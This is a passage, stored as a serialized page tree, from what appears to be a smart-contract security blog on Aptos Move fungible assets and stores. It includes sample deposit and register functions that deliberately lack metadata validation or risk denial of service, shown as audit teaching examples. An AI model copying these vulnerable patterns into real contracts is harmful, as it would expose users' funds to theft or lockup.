case.",{"type":23,"tag":446,"props":61493,"children":61495},{"id":61494},"the-fungible-assets",[61496],{"type":28,"value":61497},"The fungible assets",{"type":23,"tag":24,"props":61499,"children":61500},{},[61501,61503,61509,61511,61518],{"type":28,"value":61502},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":37,"props":61504,"children":61506},{"className":61505},[],[61507],{"type":28,"value":61508},"FungibleAsset",{"type":28,"value":61510}," uses the ",{"type":23,"tag":458,"props":61512,"children":61515},{"href":61513,"rel":61514},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[462],[61516],{"type":28,"value":61517},"hot-potato pattern",{"type":28,"value":1474},{"type":23,"tag":31,"props":61520,"children":61522},{"className":2982,"code":61521,"language":2981,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[61523],{"type":23,"tag":37,"props":61524,"children":61525},{"__ignoreMap":7},[61526,61542,61572,61592],{"type":23,"tag":41,"props":61527,"children":61528},{"class":43,"line":44},[61529,61533,61538],{"type":23,"tag":41,"props":61530,"children":61531},{"style":64},[61532],{"type":28,"value":9399},{"type":23,"tag":41,"props":61534,"children":61535},{"style":94},[61536],{"type":28,"value":61537}," FungibleAsset",{"type":23,"tag":41,"props":61539,"children":61540},{"style":70},[61541],{"type":28,"value":102},{"type":23,"tag":41,"props":61543,"children":61544},{"class":43,"line":54},[61545,61550,61554,61559,61563,61568],{"type":23,"tag":41,"props":61546,"children":61547},{"style":858},[61548],{"type":28,"value":61549},"    metadata",{"type":23,"tag":41,"props":61551,"children":61552},{"style":170},[61553],{"type":28,"value":1474},{"type":23,"tag":41,"props":61555,"children":61556},{"style":94},[61557],{"type":28,"value":61558}," Object",{"type":23,"tag":41,"props":61560,"children":61561},{"style":70},[61562],{"type":28,"value":1012},{"type":23,"tag":41,"props":61564,"children":61565},{"style":94},[61566],{"type":28,"value":61567},"Metadata",{"type":23,"tag":41,"props":61569,"children":61570},{"style":70},[61571],{"type":28,"value":6136},{"type":23,"tag":41,"props":61573,"children":61574},{"class":43,"line":76},[61575,61580,61584,61588],{"type":23,"tag":41,"props":61576,"children":61577},{"style":858},[61578],{"type":28,"value":61579},"    amount",{"type":23,"tag":41,"props":61581,"children":61582},{"style":170},[61583],{"type":28,"value":1474},{"type":23,"tag":41,"props":61585,"children":61586},{"style":94},[61587],{"type":28,"value":5860},{"type":23,"tag":41,"props":61589,"children":61590},{"style":70},[61591],{"type":28,"value":3506},{"type":23,"tag":41,"props":61593,"children":61594},{"class":43,"line":85},[61595],{"type":23,"tag":41,"props":61596,"children":61597},{"style":70},[61598],{"type":28,"value":201},{"type":23,"tag":24,"props":61600,"children":61601},{},[61602,61604,61609,61610,61615,61617,61622,61624,61631],{"type":28,"value":61603},"Unlike ",{"type":23,"tag":37,"props":61605,"children":61607},{"className":61606},[],[61608],{"type":28,"value":60963},{"type":28,"value":970},{"type":23,"tag":37,"props":61611,"children":61613},{"className":61612},[],[61614],{"type":28,"value":61508},{"type":28,"value":61616}," types are defined at runtime through the ",{"type":23,"tag":37,"props":61618,"children":61620},{"className":61619},[],[61621],{"type":28,"value":61567},{"type":28,"value":61623}," field. This change was meant to ",{"type":23,"tag":458,"props":61625,"children":61628},{"href":61626,"rel":61627},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[462],[61629],{"type":28,"value":61630},"enhance extensibility",{"type":28,"value":1474},{"type":23,"tag":518,"props":61633,"children":61634},{},[61635],{"type":23,"tag":24,"props":61636,"children":61637},{},[61638],{"type":28,"value":61639},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":61641,"children":61642},{},[61643,61645,61651],{"type":28,"value":61644},"An important implication is that functions accepting ",{"type":23,"tag":37,"props":61646,"children":61648},{"className":61647},[],[61649],{"type":28,"value":61650},"FungibleAssets",{"type":28,"value":61652}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":61654,"children":61655},{},[61656],{"type":28,"value":61657},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":31,"props":61659,"children":61661},{"className":2982,"code":61660,"language":2981,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[61662],{"type":23,"tag":37,"props":61663,"children":61664},{"__ignoreMap":7},[61665,61701,61739,61763,61775,61782,61827,61861,61891,61898,61935,61942,61980,61987,62033],{"type":23,"tag":41,"props":61666,"children":61667},{"class":43,"line":44},[61668,61672,61676,61681,61685,61689,61693,61697],{"type":23,"tag":41,"props":61669,"children":61670},{"style":858},[61671],{"type":28,"value":127},{"type":23,"tag":41,"props":61673,"children":61674},{"style":858},[61675],{"type":28,"value":6205},{"type":23,"tag":41,"props":61677,"children":61678},{"style":858},[61679],{"type":28,"value":61680}," deposit",{"type":23,"tag":41,"props":61682,"children":61683},{"style":70},[61684],{"type":28,"value":1012},{"type":23,"tag":41,"props":61686,"children":61687},{"style":94},[61688],{"type":28,"value":1634},{"type":23,"tag":41,"props":61690,"children":61691},{"style":170},[61692],{"type":28,"value":1474},{"type":23,"tag":41,"props":61694,"children":61695},{"style":858},[61696],{"type":28,"value":5931},{"type":23,"tag":41,"props":61698,"children":61699},{"style":70},[61700],{"type":28,"value":6587},{"type":23,"tag":41,"props":61702,"children":61703},{"class":43,"line":54},[61704,61709,61713,61717,61721,61725,61730,61734],{"type":23,"tag":41,"props":61705,"children":61706},{"style":858},[61707],{"type":28,"value":61708},"    sender",{"type":23,"tag":41,"props":61710,"children":61711},{"style":170},[61712],{"type":28,"value":1474},{"type":23,"tag":41,"props":61714,"children":61715},{"style":170},[61716],{"type":28,"value":7140},{"type":23,"tag":41,"props":61718,"children":61719},{"style":858},[61720],{"type":28,"value":7145},{"type":23,"tag":41,"props":61722,"children":61723},{"style":70},[61724],{"type":28,"value":970},{"type":23,"tag":41,"props":61726,"children":61727},{"style":858},[61728],{"type":28,"value":61729},"fa",{"type":23,"tag":41,"props":61731,"children":61732},{"style":170},[61733],{"type":28,"value":1474},{"type":23,"tag":41,"props":61735,"children":61736},{"style":94},[61737],{"type":28,"value":61738}," FungibleAsset\n",{"type":23,"tag":41,"props":61740,"children":61741},{"class":43,"line":76},[61742,61746,61750,61754,61758],{"type":23,"tag":41,"props":61743,"children":61744},{"style":70},[61745],{"type":28,"value":866},{"type":23,"tag":41,"props":61747,"children":61748},{"style":858},[61749],{"type":28,"value":6342},{"type":23,"tag":41,"props":61751,"children":61752},{"style":70},[61753],{"type":28,"value":23019},{"type":23,"tag":41,"props":61755,"children":61756},{"style":170},[61757],{"type":28,"value":9589},{"type":23,"tag":41,"props":61759,"children":61760},{"style":70},[61761],{"type":28,"value":61762},"] {\n",{"type":23,"tag":41,"props":61764,"children":61765},{"class":43,"line":85},[61766,61771],{"type":23,"tag":41,"props":61767,"children":61768},{"style":114},[61769],{"type":28,"value":61770},"    assert_not_paused",{"type":23,"tag":41,"props":61772,"children":61773},{"style":70},[61774],{"type":28,"value":3669},{"type":23,"tag":41,"props":61776,"children":61777},{"class":43,"line":105},[61778],{"type":23,"tag":41,"props":61779,"children":61780},{"style":70},[61781],{"type":28,"value":1589},{"type":23,"tag":41,"props":61783,"children":61784},{"class":43,"line":155},[61785,61789,61794,61798,61803,61807,61811,61815,61819,61823],{"type":23,"tag":41,"props":61786,"children":61787},{"style":64},[61788],{"type":28,"value":3002},{"type":23,"tag":41,"props":61790,"children":61791},{"style":858},[61792],{"type":28,"value":61793}," fa_amount",{"type":23,"tag":41,"props":61795,"children":61796},{"style":170},[61797],{"type":28,"value":3017},{"type":23,"tag":41,"props":61799,"children":61800},{"style":70},[61801],{"type":28,"value":61802}," fungible_asset",{"type":23,"tag":41,"props":61804,"children":61805},{"style":170},[61806],{"type":28,"value":3479},{"type":23,"tag":41,"props":61808,"children":61809},{"style":114},[61810],{"type":28,"value":20295},{"type":23,"tag":41,"props":61812,"children":61813},{"style":70},[61814],{"type":28,"value":1737},{"type":23,"tag":41,"props":61816,"children":61817},{"style":170},[61818],{"type":28,"value":855},{"type":23,"tag":41,"props":61820,"children":61821},{"style":858},[61822],{"type":28,"value":61729},{"type":23,"tag":41,"props":61824,"children":61825},{"style":70},[61826],{"type":28,"value":3825},{"type":23,"tag":41,"props":61828,"children":61829},{"class":43,"line":186},[61830,61834,61839,61843,61848,61852,61857],{"type":23,"tag":41,"props":61831,"children":61832},{"style":64},[61833],{"type":28,"value":3002},{"type":23,"tag":41,"props":61835,"children":61836},{"style":858},[61837],{"type":28,"value":61838}," sender_address",{"type":23,"tag":41,"props":61840,"children":61841},{"style":170},[61842],{"type":28,"value":3017},{"type":23,"tag":41,"props":61844,"children":61845},{"style":114},[61846],{"type":28,"value":61847}," address_of",{"type":23,"tag":41,"props":61849,"children":61850},{"style":70},[61851],{"type":28,"value":1737},{"type":23,"tag":41,"props":61853,"children":61854},{"style":858},[61855],{"type":28,"value":61856},"sender",{"type":23,"tag":41,"props":61858,"children":61859},{"style":70},[61860],{"type":28,"value":3825},{"type":23,"tag":41,"props":61862,"children":61863},{"class":43,"line":195},[61864,61869,61873,61878,61882,61887],{"type":23,"tag":41,"props":61865,"children":61866},{"style":114},[61867],{"type":28,"value":61868},"    check_compliance",{"type":23,"tag":41,"props":61870,"children":61871},{"style":70},[61872],{"type":28,"value":1737},{"type":23,"tag":41,"props":61874,"children":61875},{"style":858},[61876],{"type":28,"value":61877},"fa_amount",{"type":23,"tag":41,"props":61879,"children":61880},{"style":70},[61881],{"type":28,"value":970},{"type":23,"tag":41,"props":61883,"children":61884},{"style":858},[61885],{"type":28,"value":61886},"sender_address",{"type":23,"tag":41,"props":61888,"children":61889},{"style":70},[61890],{"type":28,"value":3825},{"type":23,"tag":41,"props":61892,"children":61893},{"class":43,"line":905},[61894],{"type":23,"tag":41,"props":61895,"children":61896},{"style":70},[61897],{"type":28,"value":1589},{"type":23,"tag":41,"props":61899,"children":61900},{"class":43,"line":922},[61901,61906,61910,61915,61919,61923,61927,61931],{"type":23,"tag":41,"props":61902,"children":61903},{"style":114},[61904],{"type":28,"value":61905},"    increase_deposit",{"type":23,"tag":41,"props":61907,"children":61908},{"style":70},[61909],{"type":28,"value":1737},{"type":23,"tag":41,"props":61911,"children":61912},{"style":114},[61913],{"type":28,"value":61914},"get_vault",{"type":23,"tag":41,"props":61916,"children":61917},{"style":70},[61918],{"type":28,"value":1737},{"type":23,"tag":41,"props":61920,"children":61921},{"style":858},[61922],{"type":28,"value":61886},{"type":23,"tag":41,"props":61924,"children":61925},{"style":70},[61926],{"type":28,"value":15169},{"type":23,"tag":41,"props":61928,"children":61929},{"style":858},[61930],{"type":28,"value":61877},{"type":23,"tag":41,"props":61932,"children":61933},{"style":70},[61934],{"type":28,"value":3825},{"type":23,"tag":41,"props":61936,"children":61937},{"class":43,"line":930},[61938],{"type":23,"tag":41,"props":61939,"children":61940},{"style":70},[61941],{"type":28,"value":1589},{"type":23,"tag":41,"props":61943,"children":61944},{"class":43,"line":939},[61945,61950,61954,61959,61963,61968,61972,61976],{"type":23,"tag":41,"props":61946,"children":61947},{"style":70},[61948],{"type":28,"value":61949},"    primary_fungible_store",{"type":23,"tag":41,"props":61951,"children":61952},{"style":170},[61953],{"type":28,"value":3479},{"type":23,"tag":41,"props":61955,"children":61956},{"style":114},[61957],{"type":28,"value":61958},"deposit",{"type":23,"tag":41,"props":61960,"children":61961},{"style":70},[61962],{"type":28,"value":1737},{"type":23,"tag":41,"props":61964,"children":61965},{"style":114},[61966],{"type":28,"value":61967},"global_vault_address",{"type":23,"tag":41,"props":61969,"children":61970},{"style":70},[61971],{"type":28,"value":18363},{"type":23,"tag":41,"props":61973,"children":61974},{"style":858},[61975],{"type":28,"value":61729},{"type":23,"tag":41,"props":61977,"children":61978},{"style":70},[61979],{"type":28,"value":3825},{"type":23,"tag":41,"props":61981,"children":61982},{"class":43,"line":947},[61983],{"type":23,"tag":41,"props":61984,"children":61985},{"style":70},[61986],{"type":28,"value":1589},{"type":23,"tag":41,"props":61988,"children":61989},{"class":43,"line":985},[61990,61995,61999,62004,62008,62013,62017,62021,62025,62029],{"type":23,"tag":41,"props":61991,"children":61992},{"style":70},[61993],{"type":28,"value":61994},"    event",{"type":23,"tag":41,"props":61996,"children":61997},{"style":170},[61998],{"type":28,"value":3479},{"type":23,"tag":41,"props":62000,"children":62001},{"style":114},[62002],{"type":28,"value":62003},"emit",{"type":23,"tag":41,"props":62005,"children":62006},{"style":70},[62007],{"type":28,"value":1737},{"type":23,"tag":41,"props":62009,"children":62010},{"style":94},[62011],{"type":28,"value":62012},"Deposit",{"type":23,"tag":41,"props":62014,"children":62015},{"style":70},[62016],{"type":28,"value":45212},{"type":23,"tag":41,"props":62018,"children":62019},{"style":858},[62020],{"type":28,"value":61886},{"type":23,"tag":41,"props":62022,"children":62023},{"style":70},[62024],{"type":28,"value":970},{"type":23,"tag":41,"props":62026,"children":62027},{"style":858},[62028],{"type":28,"value":61877},{"type":23,"tag":41,"props":62030,"children":62031},{"style":70},[62032],{"type":28,"value":33015},{"type":23,"tag":41,"props":62034,"children":62035},{"class":43,"line":1058},[62036],{"type":23,"tag":41,"props":62037,"children":62038},{"style":70},[62039],{"type":28,"value":201},{"type":23,"tag":24,"props":62041,"children":62042},{},[62043],{"type":28,"value":62044},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":62046,"children":62047},{},[62048],{"type":28,"value":62049},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":446,"props":62051,"children":62053},{"id":62052},"fungible-stores",[62054],{"type":28,"value":62055},"Fungible stores",{"type":23,"tag":24,"props":62057,"children":62058},{},[62059],{"type":28,"value":62060},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":62062,"children":62063},{},[62064,62066,62072],{"type":28,"value":62065},"Meet the ",{"type":23,"tag":37,"props":62067,"children":62069},{"className":62068},[],[62070],{"type":28,"value":62071},"FungibleStore",{"type":28,"value":706},{"type":23,"tag":31,"props":62074,"children":62076},{"className":2982,"code":62075,"language":2981,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[62077],{"type":23,"tag":37,"props":62078,"children":62079},{"__ignoreMap":7},[62080,62104,62131,62151,62170],{"type":23,"tag":41,"props":62081,"children":62082},{"class":43,"line":44},[62083,62087,62092,62096,62100],{"type":23,"tag":41,"props":62084,"children":62085},{"style":64},[62086],{"type":28,"value":9399},{"type":23,"tag":41,"props":62088,"children":62089},{"style":94},[62090],{"type":28,"value":62091}," FungibleStore",{"type":23,"tag":41,"props":62093,"children":62094},{"style":858},[62095],{"type":28,"value":9408},{"type":23,"tag":41,"props":62097,"children":62098},{"style":858},[62099],{"type":28,"value":5931},{"type":23,"tag":41,"props":62101,"children":62102},{"style":70},[62103],{"type":28,"value":102},{"type":23,"tag":41,"props":62105,"children":62106},{"class":43,"line":54},[62107,62111,62115,62119,62123,62127],{"type":23,"tag":41,"props":62108,"children":62109},{"style":858},[62110],{"type":28,"value":61549},{"type":23,"tag":41,"props":62112,"children":62113},{"style":170},[62114],{"type":28,"value":1474},{"type":23,"tag":41,"props":62116,"children":62117},{"style":94},[62118],{"type":28,"value":61558},{"type":23,"tag":41,"props":62120,"children":62121},{"style":70},[62122],{"type":28,"value":1012},{"type":23,"tag":41,"props":62124,"children":62125},{"style":94},[62126],{"type":28,"value":61567},{"type":23,"tag":41,"props":62128,"children":62129},{"style":70},[62130],{"type":28,"value":6136},{"type":23,"tag":41,"props":62132,"children":62133},{"class":43,"line":76},[62134,62139,62143,62147],{"type":23,"tag":41,"props":62135,"children":62136},{"style":858},[62137],{"type":28,"value":62138},"    balance",{"type":23,"tag":41,"props":62140,"children":62141},{"style":170},[62142],{"type":28,"value":1474},{"type":23,"tag":41,"props":62144,"children":62145},{"style":94},[62146],{"type":28,"value":5860},{"type":23,"tag":41,"props":62148,"children":62149},{"style":70},[62150],{"type":28,"value":3506},{"type":23,"tag":41,"props":62152,"children":62153},{"class":43,"line":85},[62154,62158,62162,62166],{"type":23,"tag":41,"props":62155,"children":62156},{"style":858},[62157],{"type":28,"value":61210},{"type":23,"tag":41,"props":62159,"children":62160},{"style":170},[62161],{"type":28,"value":1474},{"type":23,"tag":41,"props":62163,"children":62164},{"style":94},[62165],{"type":28,"value":12047},{"type":23,"tag":41,"props":62167,"children":62168},{"style":70},[62169],{"type":28,"value":3506},{"type":23,"tag":41,"props":62171,"children":62172},{"class":43,"line":105},[62173],{"type":23,"tag":41,"props":62174,"children":62175},{"style":70},[62176],{"type":28,"value":201},{"type":23,"tag":24,"props":62178,"children":62179},{},[62180,62185,62187,62192,62194,62199,62201,62206,62208,62213],{"type":23,"tag":37,"props":62181,"children":62183},{"className":62182},[],[62184],{"type":28,"value":62071},{"type":28,"value":62186}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":37,"props":62188,"children":62190},{"className":62189},[],[62191],{"type":28,"value":61508},{"type":28,"value":62193}," (it can't because ",{"type":23,"tag":37,"props":62195,"children":62197},{"className":62196},[],[62198],{"type":28,"value":61508},{"type":28,"value":62200}," doesn't have ",{"type":23,"tag":37,"props":62202,"children":62204},{"className":62203},[],[62205],{"type":28,"value":5940},{"type":28,"value":62207},"). Withdrawals create temporary ",{"type":23,"tag":37,"props":62209,"children":62211},{"className":62210},[],[62212],{"type":28,"value":61508},{"type":28,"value":62214}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":442,"props":62216,"children":62217},{},[],{"type":23,"tag":24,"props":62219,"children":62220},{},[62221,62223,62228,62230,62235],{"type":28,"value":62222},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":37,"props":62224,"children":62226},{"className":62225},[],[62227],{"type":28,"value":61508},{"type":28,"value":62229}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":37,"props":62231,"children":62233},{"className":62232},[],[62234],{"type":28,"value":61508},{"type":28,"value":706},{"type":23,"tag":31,"props":62237,"children":62239},{"className":2982,"code":62238,"language":2981,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[62240],{"type":23,"tag":37,"props":62241,"children":62242},{"__ignoreMap":7},[62243,62280,62332,62375,62382,62389,62461,62473,62511,62530,62537],{"type":23,"tag":41,"props":62244,"children":62245},{"class":43,"line":44},[62246,62250,62254,62259,62263,62268,62272,62276],{"type":23,"tag":41,"props":62247,"children":62248},{"style":858},[62249],{"type":28,"value":127},{"type":23,"tag":41,"props":62251,"children":62252},{"style":858},[62253],{"type":28,"value":6205},{"type":23,"tag":41,"props":62255,"children":62256},{"style":114},[62257],{"type":28,"value":62258}," destroy_zero",{"type":23,"tag":41,"props":62260,"children":62261},{"style":70},[62262],{"type":28,"value":1737},{"type":23,"tag":41,"props":62264,"children":62265},{"style":858},[62266],{"type":28,"value":62267},"fungible_asset",{"type":23,"tag":41,"props":62269,"children":62270},{"style":170},[62271],{"type":28,"value":1474},{"type":23,"tag":41,"props":62273,"children":62274},{"style":94},[62275],{"type":28,"value":61537},{"type":23,"tag":41,"props":62277,"children":62278},{"style":70},[62279],{"type":28,"value":152},{"type":23,"tag":41,"props":62281,"children":62282},{"class":43,"line":54},[62283,62287,62291,62295,62299,62303,62308,62312,62316,62320,62324,62328],{"type":23,"tag":41,"props":62284,"children":62285},{"style":64},[62286],{"type":28,"value":3002},{"type":23,"tag":41,"props":62288,"children":62289},{"style":94},[62290],{"type":28,"value":61537},{"type":23,"tag":41,"props":62292,"children":62293},{"style":70},[62294],{"type":28,"value":9584},{"type":23,"tag":41,"props":62296,"children":62297},{"style":858},[62298],{"type":28,"value":20295},{"type":23,"tag":41,"props":62300,"children":62301},{"style":70},[62302],{"type":28,"value":970},{"type":23,"tag":41,"props":62304,"children":62305},{"style":858},[62306],{"type":28,"value":62307},"metadata",{"type":23,"tag":41,"props":62309,"children":62310},{"style":170},[62311],{"type":28,"value":1474},{"type":23,"tag":41,"props":62313,"children":62314},{"style":858},[62315],{"type":28,"value":3039},{"type":23,"tag":41,"props":62317,"children":62318},{"style":70},[62319],{"type":28,"value":36197},{"type":23,"tag":41,"props":62321,"children":62322},{"style":170},[62323],{"type":28,"value":2381},{"type":23,"tag":41,"props":62325,"children":62326},{"style":858},[62327],{"type":28,"value":61802},{"type":23,"tag":41,"props":62329,"children":62330},{"style":70},[62331],{"type":28,"value":183},{"type":23,"tag":41,"props":62333,"children":62334},{"class":43,"line":76},[62335,62340,62344,62348,62352,62356,62361,62365,62370],{"type":23,"tag":41,"props":62336,"children":62337},{"style":114},[62338],{"type":28,"value":62339},"    assert!",{"type":23,"tag":41,"props":62341,"children":62342},{"style":70},[62343],{"type":28,"value":1737},{"type":23,"tag":41,"props":62345,"children":62346},{"style":858},[62347],{"type":28,"value":20295},{"type":23,"tag":41,"props":62349,"children":62350},{"style":170},[62351],{"type":28,"value":3282},{"type":23,"tag":41,"props":62353,"children":62354},{"style":164},[62355],{"type":28,"value":392},{"type":23,"tag":41,"props":62357,"children":62358},{"style":70},[62359],{"type":28,"value":62360},", error",{"type":23,"tag":41,"props":62362,"children":62363},{"style":170},[62364],{"type":28,"value":3479},{"type":23,"tag":41,"props":62366,"children":62367},{"style":114},[62368],{"type":28,"value":62369},"invalid_argument",{"type":23,"tag":41,"props":62371,"children":62372},{"style":70},[62373],{"type":28,"value":62374},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":41,"props":62376,"children":62377},{"class":43,"line":85},[62378],{"type":23,"tag":41,"props":62379,"children":62380},{"style":70},[62381],{"type":28,"value":201},{"type":23,"tag":41,"props":62383,"children":62384},{"class":43,"line":105},[62385],{"type":23,"tag":41,"props":62386,"children":62387},{"emptyLinePlaceholder":18},[62388],{"type":28,"value":82},{"type":23,"tag":41,"props":62390,"children":62391},{"class":43,"line":155},[62392,62396,62400,62405,62409,62413,62417,62421,62425,62429,62433,62437,62441,62445,62449,62453,62457],{"type":23,"tag":41,"props":62393,"children":62394},{"style":858},[62395],{"type":28,"value":127},{"type":23,"tag":41,"props":62397,"children":62398},{"style":858},[62399],{"type":28,"value":6205},{"type":23,"tag":41,"props":62401,"children":62402},{"style":858},[62403],{"type":28,"value":62404}," zero",{"type":23,"tag":41,"props":62406,"children":62407},{"style":70},[62408],{"type":28,"value":1012},{"type":23,"tag":41,"props":62410,"children":62411},{"style":94},[62412],{"type":28,"value":1634},{"type":23,"tag":41,"props":62414,"children":62415},{"style":170},[62416],{"type":28,"value":1474},{"type":23,"tag":41,"props":62418,"children":62419},{"style":858},[62420],{"type":28,"value":5931},{"type":23,"tag":41,"props":62422,"children":62423},{"style":70},[62424],{"type":28,"value":7610},{"type":23,"tag":41,"props":62426,"children":62427},{"style":858},[62428],{"type":28,"value":62307},{"type":23,"tag":41,"props":62430,"children":62431},{"style":170},[62432],{"type":28,"value":1474},{"type":23,"tag":41,"props":62434,"children":62435},{"style":94},[62436],{"type":28,"value":61558},{"type":23,"tag":41,"props":62438,"children":62439},{"style":70},[62440],{"type":28,"value":1012},{"type":23,"tag":41,"props":62442,"children":62443},{"style":94},[62444],{"type":28,"value":1634},{"type":23,"tag":41,"props":62446,"children":62447},{"style":70},[62448],{"type":28,"value":8388},{"type":23,"tag":41,"props":62450,"children":62451},{"style":170},[62452],{"type":28,"value":1474},{"type":23,"tag":41,"props":62454,"children":62455},{"style":94},[62456],{"type":28,"value":61537},{"type":23,"tag":41,"props":62458,"children":62459},{"style":70},[62460],{"type":28,"value":102},{"type":23,"tag":41,"props":62462,"children":62463},{"class":43,"line":186},[62464,62469],{"type":23,"tag":41,"props":62465,"children":62466},{"style":94},[62467],{"type":28,"value":62468},"    FungibleAsset",{"type":23,"tag":41,"props":62470,"children":62471},{"style":70},[62472],{"type":28,"value":102},{"type":23,"tag":41,"props":62474,"children":62475},{"class":43,"line":195},[62476,62481,62485,62490,62494,62499,62503,62507],{"type":23,"tag":41,"props":62477,"children":62478},{"style":858},[62479],{"type":28,"value":62480},"        metadata",{"type":23,"tag":41,"props":62482,"children":62483},{"style":170},[62484],{"type":28,"value":1474},{"type":23,"tag":41,"props":62486,"children":62487},{"style":70},[62488],{"type":28,"value":62489}," object",{"type":23,"tag":41,"props":62491,"children":62492},{"style":170},[62493],{"type":28,"value":3479},{"type":23,"tag":41,"props":62495,"children":62496},{"style":114},[62497],{"type":28,"value":62498},"convert",{"type":23,"tag":41,"props":62500,"children":62501},{"style":70},[62502],{"type":28,"value":1737},{"type":23,"tag":41,"props":62504,"children":62505},{"style":858},[62506],{"type":28,"value":62307},{"type":23,"tag":41,"props":62508,"children":62509},{"style":70},[62510],{"type":28,"value":6735},{"type":23,"tag":41,"props":62512,"children":62513},{"class":43,"line":905},[62514,62518,62522,62526],{"type":23,"tag":41,"props":62515,"children":62516},{"style":858},[62517],{"type":28,"value":7448},{"type":23,"tag":41,"props":62519,"children":62520},{"style":170},[62521],{"type":28,"value":1474},{"type":23,"tag":41,"props":62523,"children":62524},{"style":164},[62525],{"type":28,"value":392},{"type":23,"tag":41,"props":62527,"children":62528},{"style":70},[62529],{"type":28,"value":3506},{"type":23,"tag":41,"props":62531,"children":62532},{"class":43,"line":922},[62533],{"type":23,"tag":41,"props":62534,"children":62535},{"style":70},[62536],{"type":28,"value":192},{"type":23,"tag":41,"props":62538,"children":62539},{"class":43,"line":930},[62540],{"type":23,"tag":41,"props":62541,"children":62542},{"style":70},[62543],{"type":28,"value":201},{"type":23,"tag":24,"props":62545,"children":62546},{},[62547],{"type":28,"value":62548},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":62550,"children":62551},{},[62552,62554,62559],{"type":28,"value":62553},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":37,"props":62555,"children":62557},{"className":62556},[],[62558],{"type":28,"value":61650},{"type":28,"value":62560}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":546,"props":62562,"children":62564},{"id":62563},"primary-and-secondary-stores",[62565],{"type":28,"value":62566},"Primary and secondary stores",{"type":23,"tag":24,"props":62568,"children":62569},{},[62570,62576,62578,62584,62586,62591],{"type":23,"tag":37,"props":62571,"children":62573},{"className":62572},[],[62574],{"type":28,"value":62575},"FungibleStores",{"type":28,"value":62577}," in comparison to ",{"type":23,"tag":37,"props":62579,"children":62581},{"className":62580},[],[62582],{"type":28,"value":62583},"CoinStores",{"type":28,"value":62585}," are not unique. Each user can have multiple ",{"type":23,"tag":37,"props":62587,"children":62589},{"className":62588},[],[62590],{"type":28,"value":62071},{"type":28,"value":62592}," objects for a given token!",{"type":23,"tag":24,"props":62594,"children":62595},{},[62596,62598,62605,62607,62612],{"type":28,"value":62597},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":458,"props":62599,"children":62602},{"href":62600,"rel":62601},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[462],[62603],{"type":28,"value":62604},"primary_fungible_store",{"type":28,"value":62606}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":37,"props":62608,"children":62610},{"className":62609},[],[62611],{"type":28,"value":61567},{"type":28,"value":62613}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":62615,"children":62616},{},[62617],{"type":28,"value":62618},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":31,"props":62620,"children":62622},{"className":2982,"code":62621,"language":2981,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[62623],{"type":23,"tag":37,"props":62624,"children":62625},{"__ignoreMap":7},[62626,62651,62683,62706,62722,62776,62791],{"type":23,"tag":41,"props":62627,"children":62628},{"class":43,"line":44},[62629,62633,62638,62642,62647],{"type":23,"tag":41,"props":62630,"children":62631},{"style":858},[62632],{"type":28,"value":127},{"type":23,"tag":41,"props":62634,"children":62635},{"style":858},[62636],{"type":28,"value":62637}," entry",{"type":23,"tag":41,"props":62639,"children":62640},{"style":858},[62641],{"type":28,"value":6205},{"type":23,"tag":41,"props":62643,"children":62644},{"style":114},[62645],{"type":28,"value":62646}," 